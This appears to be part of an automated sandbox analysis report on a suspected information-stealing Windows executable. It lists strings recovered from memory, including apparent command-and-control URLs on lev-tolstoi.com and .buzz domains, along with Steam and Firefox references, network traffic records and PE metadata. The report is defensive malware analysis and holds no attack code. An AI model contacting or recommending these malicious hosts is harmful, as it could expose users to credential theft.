Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/nschonni
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hummskitnj.buzz:443/api
Source: l0zocrLiVW.exe, 00000000.00000003.2317730851.0000000005847000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331174894.0000000005847000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2288895904.000000000584E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIV
Source: chromecache_81.8.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/?g
Source: l0zocrLiVW.exe, 00000000.00000003.2478940920.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api.
Source: l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314499110.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331009146.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478940920.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apib
Source: l0zocrLiVW.exe, 00000000.00000003.2369198046.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331261658.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apibt
Source: l0zocrLiVW.exe, 00000000.00000003.2263494271.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apii
Source: l0zocrLiVW.exe, 00000000.00000003.2212374027.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314499110.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331009146.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478940920.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiion1
Source: l0zocrLiVW.exe, 00000000.00000003.2317730851.0000000005847000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apilx
Source: l0zocrLiVW.exe, 00000000.00000003.2369198046.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331261658.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/dsofL6
Source: l0zocrLiVW.exe, 00000000.00000003.2369198046.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314153770.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331261658.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ksOfl6
Source: l0zocrLiVW.exe, 00000000.00000003.2314153770.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ms
Source: l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/oi.com
Source: l0zocrLiVW.exe, 00000000.00000003.2369198046.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314153770.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331261658.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s
Source: l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api0
Source: l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apical
Source: l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apin.txtPK
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scentniej.buzz/
Source: chromecache_111.8.dr	String found in binary or memory: https://schema.org
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2212374027.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314499110.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331009146.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478940920.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/0
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900entniej.buzz/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: l0zocrLiVW.exe, 00000000.00000003.2265210128.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: l0zocrLiVW.exe, 00000000.00000003.2265210128.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_111.8.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: l0zocrLiVW.exe, 00000000.00000003.2265057084.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: l0zocrLiVW.exe, 00000000.00000003.2265057084.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: l0zocrLiVW.exe, 00000000.00000003.2265210128.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: l0zocrLiVW.exe, 00000000.00000003.2265210128.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: l0zocrLiVW.exe, 00000000.00000003.2265210128.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50085 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: l0zocrLiVW.exe	Static PE information: section name:
Source: l0zocrLiVW.exe	Static PE information: section name: .rsrc
Source: l0zocrLiVW.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01072C16	0_3_01072C16
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_0106B6B1	0_3_0106B6B1

Source: l0zocrLiVW.exe, 00000000.00000003.2430374555.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431781038.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433181539.0000000005DB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2438255203.0000000005CCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433882454.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2443595898.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430135761.0000000005D7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000002.2546275159.0000000006236000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
